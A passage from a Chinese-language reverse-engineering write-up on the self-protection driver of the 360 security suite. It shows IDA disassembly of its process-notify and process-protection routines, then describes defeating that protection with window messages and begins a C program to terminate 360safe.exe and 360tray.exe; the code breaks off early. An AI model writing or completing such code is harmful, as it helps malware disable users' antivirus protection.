test al, 8 jz short loc_1D9D6 xor edx, edx ; __int64 mov rcx, rbx ; DriverObject call sub_1E710 cmp eax, edi mov eax, cs:dword_59ED8 setnl cs:byte_59E13 loc_1D9D6: test al, 10h jz short loc_1D9EF mov rcx, rbx ; DriverObject call sub_2350C cmp eax, edi setnl al mov cs:byte_59E14, al jmp short loc_1D9F5 loc_1D9EF: mov al, cs:byte_59E14 loc_1D9F5: cmp cs:byte_59E13, dil jnz short loc_1DA03 cmp al, dil jz short loc_1DA3A loc_1DA03: lea rax, qword_5A2B8 lea rcx, [rbx+70h] loc_1DA0E: cmp [rax-0E8h], rdi jnz short loc_1DA1C cmp [rax], rdi jz short loc_1DA26 loc_1DA1C: lea rdx, sub_1D888 mov [rcx], rdx loc_1DA26: lea rdx, unk_5A390 add rax, 8 add rcx, 8 cmp rax, rdx jle short loc_1DA0E loc_1DA3A: call sub_1D4A0 lea rcx, sub_1D660 xor edx, edx mov rbx, [rsp+28h+arg_0] add rsp, 20h pop rdi jmp cs:PsSetCreateProcessNotifyRoutine sub1D938 endp 我还找了找360实现进线程自保护的过程,但是能力有限,只找到一部分实现[进程自 保护]的过程,没有找到实现[线程自保护]的过程。如果读者有兴趣,可以自己找找: ; Maybe Protect Process ; int __cdecl sub_18294(HANDLE Handle, char) sub_18294 proc near var_58= qword ptr -58h var_50= byte ptr -50h var_48= qword ptr -48h var_38= byte ptr -38h var_10= qword ptr -10h Handle= qword ptr 8 arg_8= byte ptr 10h mov rax, rsp mov [rax+8], rcx push rbx sub rsp, 70h xor ebx, ebx mov r10, rdx mov [rax+8], rbx cmp rdx, rbx jz loc_1834F mov rax, cs:qword_59F10 cmp rax, rbx jz short loc_182C8 mov rcx, rdx call rax ; qword_59F10 jmp loc_18351 loc_182C8: lea rax, [rsp+78h+Handle] mov r9d, 80000000h xor r8d, r8d mov [rsp+78h+var_48], rax mov rax, cs:PsProcessType mov [rsp+78h+var_50], bl mov rcx, [rax] mov edx, 200h mov [rsp+78h+var_58], rcx mov rcx, r10 call cs:ObOpenObjectByPointer cmp eax, ebx jl short loc_1834F mov rcx, [rsp+78h+Handle] lea rax, [rsp+78h+arg_8] lea r8, [rsp+78h+var_38] mov r9d, 30h xor edx, edx mov [rsp+78h+var_58], rax call ZwQueryInformationProcess mov rcx, [rsp+78h+var_10] cmp eax, ebx cmovl rcx, rbx mov [rsp+78h+var_10], rcx mov rcx, [rsp+78h+Handle] ; Handle call cs:ZwClose mov rax, [rsp+78h+var_10] jmp short loc_18351 loc_1834F: xor eax, eax loc_18351: add rsp, 70h pop rbx retn sub_18294 endp 我觉得此函数的逻辑是这样:传入进程对象指针PEPROCESS (注意:我强烈觉得不是IDA 提示的 HANDLE 类型,而是PEPROCESS 类型。因为对于计算机看来,两者都是指针,没有任 何差别),然后利用ObOpenObjectByPointer获得进程的句柄,利用 ZwQueryInformationProcess获得进程PID,接着对比是否为要保护的进程,然后返回对比 结果。至于关闭[由别的程序打开的][被保护进程的句柄],返回拒绝访问等操作,并不在这 一过程(这句话很拗口,请多读几次)。至于这个驱动是怎么保护线程的,我有自己的猜想 但并不确定,因为我并没有在反汇编代码中找到ZwQueryInformationThread(但是找到了 IoThreadToProcess)。有俗语云“骗得了别人骗不了自己”,由于没有形成让自己信服的逻 辑,所以不敢信口开河,误导读者。 知道了 360如何自我保护,攻破这套防御体系就简单了:利用窗口攻击即可。因为在 360 的驱动里没有防御窗口攻击的代码。准确地说,是微软没有提供解决窗口攻击官方解决 方案。至于窗口攻击的手段,用EndTask即可(大家可以试试用“任务管理器”的“结束任 务”来结束360safe.exe的主窗口),用SetWindowLong或 SetParent也可以。不过我用的 是EnumWindows + PostMessage的方案。代码很短,只有短短40行,但是对付360safe.exe 和 360tray.exe都可以: #include <stdio.h> #include <Windows.h> #pragma comment(lib,"user32.lib") HWND hWnds[8192]={NULL}; DWORD dwCount=0; UINT EnumWnd(HWND h, LPARAM Param) { if (dwCount>=8192) return 0; |